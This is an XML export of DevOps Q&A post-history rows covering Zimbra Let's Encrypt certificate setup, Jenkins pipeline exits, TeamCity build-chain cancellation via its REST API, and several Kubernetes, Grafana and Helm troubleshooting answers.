  <row Id="21399" PostHistoryTypeId="5" PostId="6737" RevisionGUID="3df9c806-9237-4084-a215-be2a27cb218f" CreationDate="2019-04-01T07:44:59.570" UserId="11598" Comment="added 6 characters in body" Text="I am trying to install let's encrypt SSL in my Zimbra mail server but getting below error when running below command.&#xD;&#xA;&#xD;&#xA;    /opt/zimbra/bin/zmcertmgr verifycrt comm privkey.pem cert.pem chain.pem&#xD;&#xA;&#xD;&#xA;**Error**:&#xD;&#xA;&#xD;&#xA;    ** Verifying ‘cert.pem’ against ‘privkey.pem’&#xD;&#xA;    Certificate ‘cert.pem’ and private key ‘privkey.pem’ match.&#xD;&#xA;    ** Verifying ‘cert.pem’ against ‘chain.pem’&#xD;&#xA;    ERROR: Unable to validate certificate chain: cert.pem: C = US, O = Let’s Encrypt, CN = Let’s Encrypt Authority X3&#xD;&#xA;    error 2 at 1 depth lookup: unable to get issuer certificate " ContentLicense="CC BY-SA 4.0" />
  <row Id="21400" PostHistoryTypeId="6" PostId="6737" RevisionGUID="3df9c806-9237-4084-a215-be2a27cb218f" CreationDate="2019-04-01T07:44:59.570" UserId="11598" Comment="added 6 characters in body" Text="&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21401" PostHistoryTypeId="24" PostId="6737" RevisionGUID="3df9c806-9237-4084-a215-be2a27cb218f" CreationDate="2019-04-01T07:44:59.570" Comment="Proposed by 11598 approved by 40, 11797 edit id of 964" ContentLicense="CC BY-SA 4.0" />
  <row Id="21402" PostHistoryTypeId="10" PostId="6719" RevisionGUID="ce680fb2-1f3d-49e5-bbda-5c0047e6009e" CreationDate="2019-04-01T07:46:16.793" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="21403" PostHistoryTypeId="5" PostId="6742" RevisionGUID="56107f11-81c5-482d-aa74-c3dc296313f5" CreationDate="2019-04-01T07:46:46.933" UserId="11598" Comment="added 2 characters in body" Text="&gt;This error occurrs because you do not add the root CA in your chain.pem file:&#xD;&#xA;&#xD;&#xA;for solutions add below chain in your chain.pem file:&#xD;&#xA;&#xD;&#xA;    -----BEGIN CERTIFICATE-----&#xD;&#xA;    MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/&#xD;&#xA;    MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT&#xD;&#xA;    DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow&#xD;&#xA;    PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD&#xD;&#xA;    Ew5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB&#xD;&#xA;    AN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmTrE4O&#xD;&#xA;    rz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEq&#xD;&#xA;    OLl5CjH9UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9b&#xD;&#xA;    xiqKqy69cK3FCxolkHRyxXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw&#xD;&#xA;    7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40dutolucbY38EVAjqr2m7xPi71XAicPNaD&#xD;&#xA;    aeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV&#xD;&#xA;    HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQMA0GCSqG&#xD;&#xA;    SIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69&#xD;&#xA;    ikugdB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXr&#xD;&#xA;    AvHRAosZy5Q6XkjEGB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZz&#xD;&#xA;    R8srzJmwN0jP41ZL9c8PDHIyh8bwRLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5&#xD;&#xA;    JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubSfZGL+T0yjWW06XyxV3bqxbYo&#xD;&#xA;    Ob8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ&#xD;&#xA;    -----END CERTIFICATE----- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;OR you can use below script for install Let's Encrypt SSL in your Zimbra server:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # SSL certificate installation in Zimbra&#xD;&#xA;    # with SSL certificate provided by Let's Encrypt (letsencrypt.org)&#xD;&#xA;    # Author: Subhash (serverkaka.com)&#xD;&#xA;    &#xD;&#xA;    # Check if running as root&#xD;&#xA;    if [ &quot;$(id -u)&quot; != &quot;0&quot; ]; then&#xD;&#xA;       echo &quot;This script must be run as root&quot; 1&gt;&amp;2&#xD;&#xA;       exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    read -p 'letsencrypt_email [xx@xx.xx]: ' letsencrypt_email&#xD;&#xA;    read -p 'mail_server_url [xx.xx.xx]: ' mail_server_url&#xD;&#xA;    &#xD;&#xA;    # Check All variable have a value&#xD;&#xA;    if [ -z $mail_server_url ] || [ -z $letsencrypt_email ]&#xD;&#xA;    then&#xD;&#xA;          echo run script again please insert all value. do not miss any value&#xD;&#xA;    else&#xD;&#xA;    &#xD;&#xA;    # Installation start&#xD;&#xA;    # Stop the jetty or nginx service at Zimbra level&#xD;&#xA;    su - zimbra -c 'zmproxyctl stop'&#xD;&#xA;    su - zimbra -c 'zmmailboxdctl stop'&#xD;&#xA;    &#xD;&#xA;    # Install git and letsencrypt&#xD;&#xA;    cd /opt/&#xD;&#xA;    apt-get install git&#xD;&#xA;    git clone https://github.com/letsencrypt/letsencrypt&#xD;&#xA;    cd letsencrypt&#xD;&#xA;    &#xD;&#xA;    # Get SSL certificate&#xD;&#xA;    ./letsencrypt-auto certonly --standalone --non-interactive --agree-tos --email $letsencrypt_email -d $mail_server_url --hsts&#xD;&#xA;    cd /etc/letsencrypt/live/$mail_server_url&#xD;&#xA;    cat &lt;&lt;EOF &gt;&gt;chain.pem&#xD;&#xA;    -----BEGIN CERTIFICATE-----&#xD;&#xA;    MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/&#xD;&#xA;    MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT&#xD;&#xA;    DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow&#xD;&#xA;    PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD&#xD;&#xA;    Ew5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB&#xD;&#xA;    AN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmTrE4O&#xD;&#xA;    rz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEq&#xD;&#xA;    OLl5CjH9UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9b&#xD;&#xA;    xiqKqy69cK3FCxolkHRyxXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw&#xD;&#xA;    7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40dutolucbY38EVAjqr2m7xPi71XAicPNaD&#xD;&#xA;    aeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV&#xD;&#xA;    HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQMA0GCSqG&#xD;&#xA;    SIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69&#xD;&#xA;    ikugdB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXr&#xD;&#xA;    AvHRAosZy5Q6XkjEGB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZz&#xD;&#xA;    R8srzJmwN0jP41ZL9c8PDHIyh8bwRLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5&#xD;&#xA;    JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubSfZGL+T0yjWW06XyxV3bqxbYo&#xD;&#xA;    Ob8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ&#xD;&#xA;    -----END CERTIFICATE-----&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    # Verify commercial certificate&#xD;&#xA;    mkdir /opt/zimbra/ssl/letsencrypt&#xD;&#xA;    cp /etc/letsencrypt/live/$mail_server_url/* /opt/zimbra/ssl/letsencrypt/&#xD;&#xA;    chown zimbra:zimbra /opt/zimbra/ssl/letsencrypt/*&#xD;&#xA;    ls -la /opt/zimbra/ssl/letsencrypt/&#xD;&#xA;    su - zimbra -c 'cd /opt/zimbra/ssl/letsencrypt/ &amp;&amp; /opt/zimbra/bin/zmcertmgr verifycrt comm privkey.pem cert.pem chain.pem'&#xD;&#xA;    &#xD;&#xA;    # Deploy the new Let's Encrypt SSL certificate&#xD;&#xA;    cp -a /opt/zimbra/ssl/zimbra /opt/zimbra/ssl/zimbra.$(date &quot;+%Y%m%d&quot;)&#xD;&#xA;    cp /opt/zimbra/ssl/letsencrypt/privkey.pem /opt/zimbra/ssl/zimbra/commercial/commercial.key&#xD;&#xA;    sudo chown zimbra:zimbra /opt/zimbra/ssl/zimbra/commercial/commercial.key&#xD;&#xA;    su - zimbra -c 'cd /opt/zimbra/ssl/letsencrypt/ &amp;&amp; /opt/zimbra/bin/zmcertmgr deploycrt comm cert.pem chain.pem'&#xD;&#xA;    &#xD;&#xA;    # Restart Zimbra&#xD;&#xA;    su - zimbra -c 'zmcontrol restart'&#xD;&#xA;    &#xD;&#xA;    # setting auto https redirect&#xD;&#xA;    cd /opt &amp;&amp; touch https-redirect.sh &amp;&amp; chown zimbra:zimbra https-redirect.sh &amp;&amp; chmod +x https-redirect.sh&#xD;&#xA;    cat &lt;&lt;EOF &gt;&gt;/opt/https-redirect.sh&#xD;&#xA;    zmprov ms $mail_server_url zimbraReverseProxyMailMode redirect&#xD;&#xA;    EOF&#xD;&#xA;    su - zimbra -c '/opt/https-redirect.sh'&#xD;&#xA;    rm /opt/https-redirect.sh&#xD;&#xA;    if&#xD;&#xA;&#xD;&#xA;read this link for more details: https://github.com/SubhashPatel/Install-Zimbra-mail-server-ubuntu/blob/master/configure-ssl-zimbra.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="21417" PostHistoryTypeId="2" PostId="6747" RevisionGUID="9f26485f-bf34-4865-bd28-ae151eb96ef1" CreationDate="2019-04-01T13:14:22.737" UserId="5251" Text="In a Jenkins scripted pipeline with the below structure, the `return` command will exit only the `withEnv`.&#xD;&#xA;&#xD;&#xA;    node{&#xD;&#xA;    	withEnv([...]){&#xD;&#xA;    		stage('1'){&#xD;&#xA;    		...&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		stage('2'){&#xD;&#xA;    		.....&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		if( env.BRANCH_NAME != 'master' ) {&#xD;&#xA;    			currentBuild.result = 'SUCCESS'&#xD;&#xA;    			return&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		stage('3'){&#xD;&#xA;    		...&#xD;&#xA;    		}		&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	stage('4'){&#xD;&#xA;    		withEnv([...]){&#xD;&#xA;    			...&#xD;&#xA;    		}&#xD;&#xA;    	}&#xD;&#xA;    	&#xD;&#xA;    	stage('5'){&#xD;&#xA;    		...&#xD;&#xA;    	}&#xD;&#xA;    	&#xD;&#xA;    	stage('6'){&#xD;&#xA;    	...&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How can I stop the entire pipeline after stage2 ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21418" PostHistoryTypeId="1" PostId="6747" RevisionGUID="9f26485f-bf34-4865-bd28-ae151eb96ef1" CreationDate="2019-04-01T13:14:22.737" UserId="5251" Text="Cleanest way to prematurely exit a jenkins pipeline from inside a withEnv" ContentLicense="CC BY-SA 4.0" />
  <row Id="21419" PostHistoryTypeId="3" PostId="6747" RevisionGUID="9f26485f-bf34-4865-bd28-ae151eb96ef1" CreationDate="2019-04-01T13:14:22.737" UserId="5251" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21420" PostHistoryTypeId="2" PostId="6748" RevisionGUID="f8253887-3911-45b3-b63a-0979ecd3d894" CreationDate="2019-04-01T14:03:15.533" UserId="13177" Text="I think you are looking for **error()** function, this question has been answered somehow in: [This question: Abort current build from pipeline in Jenkins][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/42667600/abort-current-build-from-pipeline-in-jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="21421" PostHistoryTypeId="5" PostId="6747" RevisionGUID="52c30d5f-8655-462d-970d-e20aedb16d8b" CreationDate="2019-04-01T14:35:06.630" UserId="5251" Comment="Pipeline should exit with SUCCESS status" Text="In a Jenkins scripted pipeline with the below structure, the `return` command will exit only the `withEnv`.&#xD;&#xA;&#xD;&#xA;    node{&#xD;&#xA;    	withEnv([...]){&#xD;&#xA;    		stage('1'){&#xD;&#xA;    		...&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		stage('2'){&#xD;&#xA;    		.....&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		if( env.BRANCH_NAME != 'master' ) {&#xD;&#xA;    			currentBuild.result = 'SUCCESS'&#xD;&#xA;    			return&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		stage('3'){&#xD;&#xA;    		...&#xD;&#xA;    		}		&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	stage('4'){&#xD;&#xA;    		withEnv([...]){&#xD;&#xA;    			...&#xD;&#xA;    		}&#xD;&#xA;    	}&#xD;&#xA;    	&#xD;&#xA;    	stage('5'){&#xD;&#xA;    		...&#xD;&#xA;    	}&#xD;&#xA;    	&#xD;&#xA;    	stage('6'){&#xD;&#xA;    	...&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How can I stop the entire pipeline after stage2 with SUCCESS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21425" PostHistoryTypeId="2" PostId="6750" RevisionGUID="30f7c888-76d8-4f60-9ca1-074db7babc0e" CreationDate="2019-04-01T18:09:24.193" UserId="13190" Text="In general, I would not recommend scraping version numbers and download URLs from websites.  You will end up having to modify your scripts when they inevitably end up breaking &amp;mdash; I have learned this the hard way time and time again.&#xD;&#xA;&#xD;&#xA;For example, take the following script I wrote in 2016 to scrape the latest Tomcat version:&#xD;&#xA;``` sh&#xD;&#xA;curl https://tomcat.apache.org/whichversion.html | awk -n '&#xD;&#xA;/class=&quot;detail-table&quot;/ {&#xD;&#xA;    phase = 1&#xD;&#xA;}&#xD;&#xA;phase == 1 &amp;&amp; /&lt;th&gt;/ {&#xD;&#xA;    target_column++&#xD;&#xA;    if (/Actual release revision/) phase = 2&#xD;&#xA;}&#xD;&#xA;phase == 2 &amp;&amp; /&lt;tr&gt;/ {&#xD;&#xA;    current_column = 0&#xD;&#xA;}&#xD;&#xA;phase == 2 &amp;&amp; /&lt;td&gt;/ {&#xD;&#xA;    current_column++&#xD;&#xA;}&#xD;&#xA;phase == 2 &amp;&amp; current_column == target_column &amp;&amp; !/alpha|beta|superceded/ {&#xD;&#xA;    print substr($0, match($0, /[0-9]+\.[0-9]+\.[0-9]+/), RLENGTH)&#xD;&#xA;    exit&#xD;&#xA;}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Unfortunately, that script **no longer works**, and I do not know when it broke.  No amount of fancy scripting will save you from unexpected structural changes to a website you are scraping.&#xD;&#xA;&#xD;&#xA;Sure, maybe a little bit of finagling will fix this one particular script, but if you try to download all your dependencies this way, you'll be playing catch-up till the end of time.  Aim for a solution that you only need to code once." ContentLicense="CC BY-SA 4.0" />
  <row Id="21426" PostHistoryTypeId="5" PostId="6741" RevisionGUID="64b920f5-5ed6-4057-8417-3e17440196f7" CreationDate="2019-04-01T18:09:58.327" UserId="13139" Comment="Corrected speeling, improved formatting" Text="I found the solution!&#xD;&#xA;&#xD;&#xA;Check your network interfaces (`ifconfig -a cni0`).&#xD;&#xA;Good config is:&#xD;&#xA;&#xD;&#xA;&gt; cni0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1450&#xD;&#xA;&gt;         inet 10.244.0.1  netmask 255.255.255.0  broadcast 0.0.0.0...&#xD;&#xA;&#xD;&#xA;		&#xD;&#xA;That subnet (10.244.0.0) configured in [flannel-deploy.yaml](https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml)&#xD;&#xA;&#xD;&#xA;But, by default, a new server may have:&#xD;&#xA;&#xD;&#xA;&gt; cni0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1450&#xD;&#xA;&gt;         inet 192.168.0.1  netmask 255.255.255.0  broadcast 0.0.0.0...&#xD;&#xA;&#xD;&#xA;**Change it:**&#xD;&#xA;&#xD;&#xA;`ifconfig eth0 10.244.0.1 netmask 255.255.255.0 broadcast 0.0.0.0`" ContentLicense="CC BY-SA 4.0" />
  <row Id="21427" PostHistoryTypeId="24" PostId="6741" RevisionGUID="64b920f5-5ed6-4057-8417-3e17440196f7" CreationDate="2019-04-01T18:09:58.327" Comment="Proposed by 13139 approved by -1 edit id of 965" ContentLicense="CC BY-SA 4.0" />
  <row Id="21428" PostHistoryTypeId="5" PostId="6741" RevisionGUID="f84203c2-4e88-4a17-9e17-b359934bbf26" CreationDate="2019-04-01T18:09:58.327" UserId="40" Comment="deleted 2 characters in body" Text="I found the solution ...&#xD;&#xA;&#xD;&#xA;Check your network interfaces (`ifconfig -a cni0`).&#xD;&#xA;Good config is:&#xD;&#xA;&#xD;&#xA;&gt; cni0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1450&#xD;&#xA;&gt;         inet 10.244.0.1  netmask 255.255.255.0  broadcast 0.0.0.0...&#xD;&#xA;&#xD;&#xA;That subnet (10.244.0.0) configured in [flannel-deploy.yaml](https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml)&#xD;&#xA;&#xD;&#xA;But, by default, a new server may have:&#xD;&#xA;&#xD;&#xA;&gt; cni0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1450&#xD;&#xA;&gt;         inet 192.168.0.1  netmask 255.255.255.0  broadcast 0.0.0.0...&#xD;&#xA;&#xD;&#xA;Change it to:&#xD;&#xA;&#xD;&#xA;`ifconfig eth0 10.244.0.1 netmask 255.255.255.0 broadcast 0.0.0.0`" ContentLicense="CC BY-SA 4.0" />
  <row Id="21432" PostHistoryTypeId="2" PostId="6752" RevisionGUID="48672196-df11-4684-b883-4569ee94a194" CreationDate="2019-04-01T22:20:11.107" UserId="12516" Text="I was unable to find a way to configure the build to behave like I wanted. Instead I needed to start using the TeamCity API to achieve this.&#xD;&#xA;&#xD;&#xA;In the `build.sh` and `test.sh` file that TC runs, I extended the failure function (simple bash function we call whenever our build script fails):&#xD;&#xA;&#xD;&#xA;    teamcityFailure () {&#xD;&#xA;        . ./cancel_build_chain.sh&#xD;&#xA;        echo &quot;##teamcity[buildProblem description='$1']&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This now calls off to this new `cancel_build_chain.sh` script, which looks something like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    teamcityProgress () {&#xD;&#xA;        echo &quot;##teamcity[progressMessage '$1']&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    teamcityProgress &quot;Build step has failed, attempting to cancel the rest of the build chain...&quot;&#xD;&#xA;    &#xD;&#xA;    BUILD_ID=$TEAMCITY_BUILD_ID # passed in from build chain configuration&#xD;&#xA;    &#xD;&#xA;    # Use the current failed step ID to query for the snapshotDependency &quot;from:&quot; here - which returns the final &quot;docker publish&quot; step&#xD;&#xA;    FINAL_STEP_DATA=$(curl --silent --request GET \&#xD;&#xA;        &quot;https://teamcity/app/rest/builds/project:MyProjectName,snapshotDependency:(from:(id:$BUILD_ID),includeInitial:true),defaultFilter:false&quot; \&#xD;&#xA;        --header &quot;Content-Type: application/xml&quot;&quot;)&#xD;&#xA;    &#xD;&#xA;    # From the &quot;docker publish&quot; step, parse the XML and fetch out all dependent step IDs. One will be this current step, the others will be its sibling steps&#xD;&#xA;    # We do this twice, once for queued steps, and once for currently running steps. This is because we need to cancel running vs queued builds differently.&#xD;&#xA;    QUEUED_DEPENDENT_STEP_IDS=$(echo $FINAL_STEP_DATA \&#xD;&#xA;     | grep -Eo '&lt;snapshot-dependencies.+&lt;build id=&quot;[0-9]+&quot;.+state=&quot;queued&quot;' \&#xD;&#xA;     | grep -Eo 'id=&quot;([0-9]+)&quot;' \&#xD;&#xA;     | grep -Eo '[0-9]+')&#xD;&#xA;    &#xD;&#xA;    # Now remove the current step ID&#xD;&#xA;    QUEUED_DEPENDENT_STEP_IDS=${QUEUED_DEPENDENT_STEP_IDS/$BUILD_ID/}&#xD;&#xA;    &#xD;&#xA;    # trim leading / trailing whitespace&#xD;&#xA;    QUEUED_DEPENDENT_STEP_IDS=QUEUED_DEPENDENT_STEP_IDS | sed 's/ *$//'&#xD;&#xA;    &#xD;&#xA;    RUNNING_DEPENDENT_STEP_IDS=$(echo $FINAL_STEP_DATA \&#xD;&#xA;     | grep -Eo '&lt;snapshot-dependencies.+&lt;build id=&quot;[0-9]+&quot;.+state=&quot;running&quot;' \&#xD;&#xA;     | grep -Eo 'id=&quot;([0-9]+)&quot;' \&#xD;&#xA;     | grep -Eo '[0-9]+')&#xD;&#xA;    &#xD;&#xA;    # Now remove the current step ID&#xD;&#xA;    RUNNING_DEPENDENT_STEP_IDS=${RUNNING_DEPENDENT_STEP_IDS/$BUILD_ID/}&#xD;&#xA;    &#xD;&#xA;    # trim leading / trailing whitespace&#xD;&#xA;    RUNNING_DEPENDENT_STEP_IDS=RUNNING_DEPENDENT_STEP_IDS | sed 's/ *$//'&#xD;&#xA;    &#xD;&#xA;    for DEP_ID in $QUEUED_DEPENDENT_STEP_IDS&#xD;&#xA;    do&#xD;&#xA;        teamcityProgress &quot;Cancelling queued build step $DEP_ID&quot;&#xD;&#xA;        curl --silent --request POST \&#xD;&#xA;            &quot;https://teamcity/app/rest/buildQueue/project:MyProjectName,id:$DEP_ID&quot; \&#xD;&#xA;            --data &quot;&lt;buildCancelRequest comment='Another part of the build chain failed so this sibling step was cancelled.' readdIntoQueue='false' /&gt;&quot; \&#xD;&#xA;            --header &quot;Content-Type: application/xml&quot;&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    for DEP_ID in $RUNNING_DEPENDENT_STEP_IDS&#xD;&#xA;    do&#xD;&#xA;        teamcityProgress &quot;Cancelling running build step $DEP_ID&quot;&#xD;&#xA;        curl --silent --request POST \&#xD;&#xA;            &quot;https://teamcity/app/rest/builds/project:MyProjectName,id:$DEP_ID&quot; \&#xD;&#xA;            --data &quot;&lt;buildCancelRequest comment='Another part of the build chain failed so this sibling step was cancelled.' readdIntoQueue='false' /&gt;&quot; \&#xD;&#xA;            --header &quot;Content-Type: application/xml&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Not super elegant but it gets the job done and prevents build agents sitting there running build steps for builds which have already failed." ContentLicense="CC BY-SA 4.0" />
  <row Id="21433" PostHistoryTypeId="2" PostId="6753" RevisionGUID="96dcea4f-bb84-48cf-8861-c2a53fda10c8" CreationDate="2019-04-01T23:10:18.107" UserId="13139" Text="The `CPUThrottlingHigh` is an alert created by the [kubernetes-mixin][1] project. There is an open issue ([#108][2]) to discuss this alert. I suggest that you read all the comments on this issue to better understand the problem.&#xD;&#xA;&#xD;&#xA;In short, the problem is: When working with low CPU limits, spiky workloads can have low averages and still be being throttled.&#xD;&#xA;&#xD;&#xA;Also, take a look at this issue ([#67577][3]) from Kubernetes project, which addresses a Kernel bug in CFS quotas that may cause unnecessary CPU throttling. The discussion is still open, and the Kubernetes project are even considering disabling CFS quotas for pods in the [`Guaranteed` QoS][4] (see [#70585][5] for reference).&#xD;&#xA;&#xD;&#xA;Consider the following options:&#xD;&#xA;&#xD;&#xA; - Increase (or even remove) your container CPU limits&#xD;&#xA; - Disable Kubernetes CFS quotas entirely&#xD;&#xA;   (kubelet's flag `--cpu-cfs-quota=false`)&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-monitoring/kubernetes-mixin&#xD;&#xA;  [2]: https://github.com/kubernetes-monitoring/kubernetes-mixin/issues/108&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/issues/67577&#xD;&#xA;  [4]: https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod/#create-a-pod-that-gets-assigned-a-qos-class-of-guaranteed&#xD;&#xA;  [5]: https://github.com/kubernetes/kubernetes/issues/70585" ContentLicense="CC BY-SA 4.0" />
  <row Id="21434" PostHistoryTypeId="2" PostId="6754" RevisionGUID="21d256f3-576c-49ac-851e-88297a4e54c8" CreationDate="2019-04-02T00:00:16.030" UserId="13139" Text="The metrics for deleted pods still exists on the Prometheus Time Series Database. The problem is that the Grafana dashboards imported from [kubernetes-mixin][1] create the pod list when loading the dashboards.&#xD;&#xA;&#xD;&#xA;To change this in Grafana, open the `Variables` menu, then change `$pod` variable to refresh `On Time Range Change`:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA; &#xD;&#xA;Go back to the panels and change the time range (e.g., to &quot;This Month&quot;). The deleted pods for that period should be listed in the dropdown menu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-monitoring/kubernetes-mixin&#xD;&#xA;  [2]: https://i.stack.imgur.com/qStHB.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21435" PostHistoryTypeId="2" PostId="6755" RevisionGUID="2f48a0c8-2a30-4bf5-9e77-59f0ed428b58" CreationDate="2019-04-02T00:47:58.747" UserId="13139" Text="There was an error in Kubernetes that causes failure when using `kubectl describe` with the `cronjob` resource. It was fixed at some point between the `v1.10.x` and `v1.12.x` versions (more info in this issue [#45418][1]).&#xD;&#xA;&#xD;&#xA;You said:&#xD;&#xA;&#xD;&#xA;&gt; According to my cron pattern, it should have started on the first&#xD;&#xA;&gt; hour.&#xD;&#xA;&#xD;&#xA;But your schedule is `* */11 * * *`, and it means: [“At every minute past every 11th hour.”][2]&#xD;&#xA;&#xD;&#xA;I did not understand what you exactly meant with &quot;on the first hour&quot;, but if you are talking about running the job on every new hour, the schedule should look like [this][3]: `0 * * * *`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/issues/45418&#xD;&#xA;  [2]: https://crontab.guru/#*_*/11_*_*_*&#xD;&#xA;  [3]: https://crontab.guru/every-1-hour" ContentLicense="CC BY-SA 4.0" />
  <row Id="21436" PostHistoryTypeId="2" PostId="6756" RevisionGUID="47f6a42f-a858-4a5d-8a8e-72b843c565df" CreationDate="2019-04-02T03:19:17.777" UserId="13146" Text="Finnaly, I found the solution, thanks to @simbo1905.&#xD;&#xA;&#xD;&#xA;All that I need to fix that problem:&#xD;&#xA;values.yaml Child Chart 1 (or two)&#xD;&#xA;```&#xD;&#xA;postgresql:&#xD;&#xA;  nameOverride: chart-1-postgres&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the Child Chart 2 `nameOverride` became to chart-2-postgres." ContentLicense="CC BY-SA 4.0" />
